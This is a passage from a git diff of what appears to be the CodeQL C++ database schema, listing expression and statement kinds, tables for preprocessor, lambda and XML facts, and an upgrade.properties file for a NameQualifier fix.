@objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +| 394 = @isinvocable +| 395 = @isnothrowinvocable +| 396 = @isbitwisecloneable +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + | @isinvocable + | @isnothrowinvocable + | @isbitwisecloneable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +param_ref_to_this( + int expr: @param_ref ref +) + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_default ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +| 40 = @stmt_leave +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue | @stmt_leave; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 17 = @ppd_embed +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +embeds( + unique int id: @ppd_embed ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/*- Database metadata -*/ + +/** + * The CLI will automatically emit applicable tuples for this table, + * such as `databaseMetadata("isOverlay", "true")` when building an + * overlay database. + */ +databaseMetadata( + string metadataKey: string ref, + string value: string ref +); + +/*- Overlay support -*/ + +/** + * The CLI will automatically emit tuples for each new/modified/deleted file + * when building an overlay database. + */ +overlayChangedFiles( + string path: string ref +); + +/*- XML Files -*/ + +xmlEncoding( + unique int id: @file ref, + string encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; diff --git a/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/upgrade.properties b/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/upgrade.properties new file mode 100644 index 00000000000..d3a842d2cbb --- /dev/null +++ b/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/upgrade.properties @@ -0,0 +1,2 @@ +description: Fix NameQualifier inconsistency +compatibility: full diff --git a/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/old.dbscheme b/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/old.dbscheme new file mode 100644 index 00000000000..ef8d209a22e --- /dev/null +++ b/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/old.dbscheme @@ -0,0 +1,2577 @@ + +/*- Compilations -*/ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/*- External data -*/ + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Lines of code -*/ + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- C++ dbscheme -*/ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +/** + * Gives the TRAP filename that `trap` is associated with. + * For debugging only. + */ +trap_filename( + int trap: @trap, + string filename: string ref +); + +/** + * Gives the tag name for `tag`. + * For debugging only. + */ +tag_name( + int tag: @tag, + string name: string ref +); + +@trap_or_tag = @tag | @trap; + +/** + * Gives the name for the source file. + */ +source_file_name( + int sf: @source_file, + string name: string ref +); + +/** + * In `build-mode: none` overlay mode, indicates that `source_file` + * (`/path/to/foo.c`) uses the TRAP file `trap_file`; i.e. it is the + * TRAP file corresponding to `foo.c`, something it transitively + * includes, or a template instantiation it transitively uses. + */ +source_file_uses_trap( + int source_file: @source_file ref, + int trap_file: @trap ref +); + +/** + * In `build-mode: none` overlay mode, indicates that the TRAP file + * `trap_file` uses tag `tag`. + */ +trap_uses_tag( + int trap_file: @trap ref, + int tag: @tag ref +); + +/** + * Holds if there is a definition of `element` in TRAP file or tag `t`. + */ +in_trap_or_tag( + int element: @element ref, + int t: @trap_or_tag ref +); + +pch_uses( + int pch: @pch ref, + int compilation: @compilation ref, + int id: @file ref +) + +#keyset[pch, compilation] +pch_creations( + int pch: @pch, + int compilation: @compilation ref, + int from: @file ref +) + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location_default ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +case @function.kind of + 0 = @unknown_function +| 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +// ... 6 = @builtin_function deprecated // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +builtin_functions( + int id: @function ref +) + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific 